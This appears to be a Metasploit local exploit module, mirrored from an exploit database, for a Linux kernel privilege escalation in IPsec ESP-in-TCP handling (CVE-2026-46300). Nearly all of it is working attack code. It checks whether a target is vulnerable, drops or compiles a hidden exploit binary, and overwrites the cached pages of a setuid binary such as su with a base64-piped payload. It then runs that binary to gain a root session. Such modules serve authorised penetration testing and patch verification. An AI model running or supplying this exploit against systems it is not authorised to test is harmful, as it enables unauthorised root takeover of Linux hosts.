## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_46300_FRAGNESIA-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Architecture
include Msf::Post::Process
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fragnesia LPE (CVE-2026-46300)',
'Description' => %q{
This module exploits CVE-2026-46300, a Linux kernel local privilege
escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec
ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a
shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream
is applied to page cache pages of the target file without enforcing
write permissions. This allows an unprivileged attacker to overwrite
arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported
independently by different vendors, so there's release version from which each kernel is
not vulnerable anymore.
},
'References' => [
['CVE', '2026-46300'],
['URL', 'https://github.com/v12-security/pocs/tree/main/fragnesia']
],
'Author' => [
'William Bowling', # discovery / PoC
'msutovsky-r7' # metasploit module
],
'DisclosureDate' => '2026-05-14',
'License' => MSF_LICENSE,
'Arch' => ARCH_CMD,
'Platform' => ['linux', 'unix'],
'Targets' => [['Automatic', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => true,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),
OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])
])
end
def check
# it is based on same principle as dirty frag, so we can check the same mitigations
dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')
return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?
sysinfo = get_sysinfo
if sysinfo[:distro] =~ /[uU]buntu/
apparmor_restriction = cmd_exec('sysctl kernel.apparmor_restrict_unprivileged_userns')
return CheckCode::Safe('Ubuntu system detected, cannot create unprivileged user namespaces, which exploit requires') unless apparmor_restriction =~ /apparmor_restrict_unprivileged_userns = 0/
end
vuln_modules = %w[esp ipcomp]
return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }
kernel_version = Rex::Version.new(kernel_release.split('-').first)
return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')
CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
suid_binary_path = datastore['SUID_BINARY_PATH']
fail_with(Failure::BadConfig, "The #{suid_binary_path} isn't a setuid binary on target system") unless setuid?(suid_binary_path)
payload_dir = datastore['WRITABLE_DIR']
fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)
os_architecture = kernel_arch
vprint_status("Detected architecture: #{os_architecture}")
cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')
cmd_payload.datastore['CMD'] = payload.encoded
cmd_payload.datastore['PrependSetuid'] = true
elf = cmd_payload.generate_simple('Format' => 'elf')
exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2026-46300', 'cve-2026-46300.c')
upload_and_compile(exploit_file, exploit_c)
else
fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(os_architecture)
vprint_status('Dropping pre-compiled exploit on system...')
exploit_bin = exploit_data('CVE-2026-46300', "cve-2026-46300_#{os_architecture}")
upload_and_chmodx(exploit_file, exploit_bin)
end
register_file_for_cleanup(exploit_file)
if session.type == 'meterpreter'
suid_binary_size = session.fs.file.stat(suid_binary_path).stathash['st_size']
else
suid_binary_size = session.shell_command("stat -c %s #{suid_binary_path}").to_i
end
print_status('Running the exploit')
fail_with(Failure::BadConfig, 'Payload too big for target setuid binary') unless suid_binary_size >= elf.size
# patch the in-memory pages of the setuid file
exploit_response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")
fail_with(Failure::NotVulnerable, 'The target seems to be patched') unless exploit_response.blank?
sleep(1)
print_status('Exploit successful, running the in-memory patched setuid binary')
# run the payload
cmd_exec(suid_binary_path.to_s)
end
def on_new_session(session)
if session.type.eql?('meterpreter')
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'")
else
session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches')
end
super
end
end